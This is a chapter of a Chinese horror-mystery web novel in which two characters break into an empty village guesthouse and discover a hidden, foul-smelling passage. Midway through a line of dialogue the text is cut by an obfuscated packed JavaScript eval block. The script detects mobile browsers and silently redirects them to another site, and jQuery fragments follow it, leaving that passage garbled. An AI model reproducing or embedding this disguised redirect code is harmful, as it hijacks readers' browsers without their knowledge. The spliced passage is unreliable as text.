42. 奇怪的民宿

作品:《骸骨风筝

    第二天,姜浮下楼时,看见桌子上摆放着一袋子药。


    白飞光刚从外面晨跑回来,正打算做早饭,问她吃不吃面。


    “吃。”姜浮打着哈欠,“你咋这么早。”


    白飞光:“吃煎蛋吗?”


    姜浮比了个二,示意自己吃两个。


    孟惊鸥不知从哪里冒出来,看见姜浮的手势:“大早上拍照呢,耶!”


    姜浮:“……”如果她的皮肤能像孟惊鸥的大脑一样平滑该多好啊。


    姜浮赶苍蝇似的:“去去去,边玩去。”


    白飞光说:“药在桌子上,先拿去涂了,再下来吃饭。”


    姜浮哦了声:“能吃了再涂吗?”


    白飞光:“不能。”


    姜浮:“……”


    她还想再狡辩,被白飞光抬眸瞪了眼,灰溜溜地上楼去了。唉,她自己的身体她自己知道,不涂药半年才能好,涂药一百八十天也就好了。


    早饭,是番茄鸡蛋面。


    一共四碗,一人碗里一个煎蛋——除了姜浮,她面上铺着两个。


    “为什么姜浮有两个?”孟惊鸥吸着面条嘟囔。


    白飞光吃了口面,说:“不是两个。”


    孟惊鸥:“这不是两个吗?”


    姜浮捏着筷子翻了翻面,又从下面翻出来一个,白飞光语调平淡地补充:“是三个。”


    姜浮:“嘻嘻。”


    孟惊鸥:“……”这两个人好恶心。


    赵万吉仿佛听不到二人的互动,他对面的味道很满意,白飞光这孩子厨艺不错,至少比姜浮和孟惊鸥强多了。


    “我打算明天回糯尕村。”姜浮边吃面,边和赵万吉商量,“去找个人,顺便看看是不是和我们猜测的情况一样。”如果赵万吉猜测得没错,那糯尕村可能有两个村子,一个是王珰带着她去的那个有三角谷仓的,一个是她带着白飞光白天去的那个没三角谷仓的。


    赵万吉叮嘱:“注意安全。”


    “然后再回家看看。”姜浮吃完面,把最后一口汤也喝得干干净净,从小的生活环境告诉她要珍惜食物,不好吃的要珍惜,好吃的更是如此,她擦着嘴说,“顺便问问我姥爷姜缘的事儿。”


    赵万吉说:“给你姥爷打电话了?”


    姜浮:“没,到时候再说吧。”


    她和姥爷的关系一直是个老大难问题,那老头子倔的要命,压根不愿意接她电话,更别说提回去这事儿了。


    赵万吉是知道这个情况的,闻言叹了口气:“你回去之前,一定要和他提前打声招呼。”


    姜浮点头。


    糯尕村,白飞光自然也要去,临走时,他从背包里摸出来一张纸条,纸条上有个电话号码,这是他母亲的联系方式,如果中途出了什么意外,麻烦赵万吉联系他的母亲。


    赵万吉郑重接过。


    孟惊鸥举手说他也想去,被姜浮拒绝了。


    “你去干嘛?”姜浮吓唬小孩似的吓唬他,“那边可恐怖了,全是吃人的怪物。”


    孟惊鸥怒道:“姜浮女士,你能不能看看我几岁了?净说些吓唬人的话。”


    姜浮说:“那你要是再见到章善雪你害怕不?”


    孟惊鸥:“不怕!”


    姜浮:“不怕你抖什么?”


    孟惊鸥:“你管我。”


    姜浮:“啧。”


    提到章善雪,孟惊鸥终于老实。


    孔姨那事儿的确成了孟惊鸥严重的心理阴影,办葬礼这几天,他一闭眼眼前出现的就是章善雪那张苍白如纸的脸和孔姨跳下楼时脸上带着的诡异的笑,几乎没睡过一个好觉。


    在孔姨死的那一刻,孟惊鸥以为事情应该就这么结束了,但他现在才发现,这件事在他这里永远也结束不了,这也是为什么他想跟着姜浮一起去。


    让伤口一直溃烂不是办法,只有狠下心,切掉腐肉,伤口才能愈合。


    最后还是没带孟惊鸥,糯尕村情况不明,万一又遇到那天的事儿,姜浮能跑,孟惊鸥却不一定跑得掉。


    白飞光从头武装到脚,又变回了姜浮初见他时的模样,戴着口罩墨镜帽子,整张脸只能看见一点头发丝。


    这装扮也就是在山里没人管,要是在城里能一天被查五次身份证的。


    姜浮这次学习了白飞光,也把自己裹成了一个粽子,要去干坏事,还是小心点为好。


    ***


    天气渐冷,前几日溪洲下了第一场雪。


    今年来天气变化越来越迅速剧烈,前几日还艳阳高照,只消几场秋雨,就迅速入冬。


    寒风凛冽,吹得人根本不想在外活动,更不要说在泥泞的山路上。


    这条路已经是姜浮第四次走,她和白飞光的脚程很快,又是轻装上路,本来一天的路程他们半天就到了。


    路上铺着积雪,泥巴和雪混合,化掉又冻上,变成了难以行走的冻土,姜浮走得小心翼翼,为了保持平衡,时不时会扯到腹部的伤口,疼得她龇牙咧嘴。


    白飞光看不过去了,手伸过去,姜浮条件反射一躲。


    “干嘛?又要捅我一下?我今天可以涂药了。”姜浮警惕地嘀咕。


    白飞光戴着口罩墨镜看不清表情,但依旧听出语气里的无奈:“扶着我走。”手探到姜浮的面前,弯起臂膀。


    姜浮:“哦。”她没逞强,扶住了。


    过了一会儿,白飞光闷闷的声音传来:“我信誉破产了?”


    姜浮:“没有没有,我还挺相信你的。”


    白飞光:“我以后都不会碰你伤口了。”


    姜浮:“不信。”


    白飞光:“……”她怎么能这么记仇。


    姜浮好像知道他在想什么,当即表示自己从来不记仇的,她记性很差,连四岁半那年妹妹抢她四分之一苹果的事都早已忘得干干净净。


    白飞光:“……”


    早晨出发,下午四点多到达,走上去糯尕村的那条路,找到了在山路上摆放的路牌,这附近草木很茂盛,没有这块路牌还真不容易看到这条小路。


    又花了一个小时在山上,到达糯尕村时,天已经快全黑了。村子里空空荡荡,几乎见不到什么人影,这倒是方便了姜浮和白飞光,他们小心地绕开村子里的人,直奔崔丰谷的民宿。


    这几天天气差,没有徒步的客人,民宿里也没开灯,整个屋子都陷在死亡般的寂静和黑暗里。


    民宿的门锁着,白飞光正在研究怎么打开锁,姜浮却发现旁边窗户半掩着,对着白飞光招招手。


    “窗户开着,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836014|189134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爬进去?”


    “我来。”


    不知道里面什么情况,白飞光不等姜浮回答,手撑在窗台上一个翻身进了屋子。


    “片刻后,里面传来声音:“没人。”


    姜浮哦了声,紧随其后也翻进去。


    的确没人,屋子里漆黑一片,两人放轻脚步,往深处探索。


    屋内一楼留给客人们居住的民宿,此时没有客人,每一间都大门紧闭,去往二楼的楼梯在拐角处。楼梯是木制的,踩上去便会发出令人不安的嘎吱声。


    白飞光走在前面,小心翼翼上了二楼。


    也不知是空气不流通还是别的原因,屋子里弥漫着一股让人恶心的气味,像肉类在缓慢地腐烂。


    二楼堆满了杂物,用旧的床垫,破烂的衣物,被虫啃食的腐朽的家具,手电筒的灯光照去,四处都能看到灰尘和蛛网。


    姜浮的目光扫视一圈,伸手指向某个角落:“那里。”


    白飞光:“怎么?”


    姜浮:“那里太干净了。”


    白飞光看去,角落里挂着一幅赏月图,那幅图虽然老旧,但上面一尘不染,显然时常被人摆弄。


    走到画边,白飞光伸手将画取下,画后出现了一扇木制的窄门,他扭头,对着姜浮比了个大拇指。在这种漆黑的环境里,姜浮还能看到灰尘的细微变化,的确厉害。


    “能开吗?”姜浮问。


    “能。”白飞光拔出爪刀,轻轻插入窄门缝隙,借力往下一划,锋利的爪刀轻而易举地切碎了木门的锁,他伸手拉开门,蹙起眉头:“好臭——”


    “哕!”姜浮的反应也没比白飞光好到哪里去,差点吐出来,她被熏得往后倒退几步,“好恶心的气味。”


    “死了一个人?”


    “不不不,死了个人都没这么臭。”


    姜浮重新把口罩戴上:“像,死了一群人……”


    白飞光没说话,伸手在背包里掏出一支白蜡烛:点上。


    姜浮:“你点这个做什么?”


    白飞光:“没听过鬼吹灯吗?要是这蜡烛灭了,就说明人家不欢迎我们来。”


    姜浮:“不欢迎?都撬门进来了,还需要他们欢迎?”


    她说得挺认真,还气鼓鼓,白飞光被她逗笑,他笑道:“是哦,不需要他们欢迎。”


    鬼吹灯的说法当然是开玩笑的,蜡烛单纯是为了测试氧气浓度,以防意外。


    门后是条通道,虽然很臭,但蜡烛没有灭,说明至少不缺氧。


    两人决定进去看看。


    姜浮捏着鼻子往里面走,她的夜视能力不错,索性关掉了手电筒,白飞光就不行了,得借着蜡烛的微光,被迫放慢了脚步。


    没走多远,前面的姜浮突然脸色大变,转身一伸手就捏灭了白飞光手上的蜡烛。


    “怎么?”白飞光问。


    “嘘。”姜浮压低声音,“屋子里有声音。”


    白飞光蹙眉,声音微不可闻:“崔丰谷?”


    “不知道。”姜浮,“但是我听到……”


    白飞光仔细地听,很快,他也听到了,吧嗒,吧嗒,吧嗒,湿漉漉的,像一团团湿润柔软的东西,一团一团地落在地上。


    伴随着这种声音,他还听到了人类的声音。